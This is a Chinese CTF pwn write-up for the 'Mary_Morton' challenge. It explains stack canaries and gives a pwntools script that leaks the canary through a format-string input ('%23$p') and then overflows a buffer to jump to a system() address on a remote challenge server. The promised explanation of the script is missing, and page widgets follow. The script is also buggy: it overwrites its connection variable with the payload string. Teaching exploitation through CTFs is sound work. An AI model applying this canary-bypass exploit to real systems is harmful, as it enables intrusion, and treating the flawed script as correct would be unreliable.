buuctf pwn wp(第六波)学会绕过Canary保护

15 篇文章 0 订阅

我在前面已经介绍过关于canary的内容了,所以这里直接引用并附上链接

然后我们照例先看看攻防世界的题目

这道题就是攻防世界进阶区的第一道题,其中点赞数最高的那个wp已经写得很明白了,我们这里只是复盘一下,有兴趣的可以自行去看看。

Mary_Morton

所谓的canary,就是系统会产生一个随机数,在程序的开始和结束给出,如何发生改变,那么程序就会报错退出。
如何确定canary的位置,如图,定义一个变量,在程序结束后返回,就是canary的值
在这里插入图片描述
在这里插入图片描述
先看看main
在这里插入图片描述
然后我们点开变量buf,位置在0x90位置
在这里插入图片描述
而canary在0x08的位置,两者距离为0x88,所以我们的思路就是
在这里插入图片描述

from pwn import *
p=remote("111.198.29.45",42124)

system_addr=p64(0x4008de)
p.sendlineafter('\n',2)
p.sendline('%23$p')
p.recvuntil('0x')
ss=p.recv(16)
pp=int(ss,16)
pp=p64(pp)
p.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
p.sendline(p)
print p.recv()

然后我们来讲解一下这个脚本

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值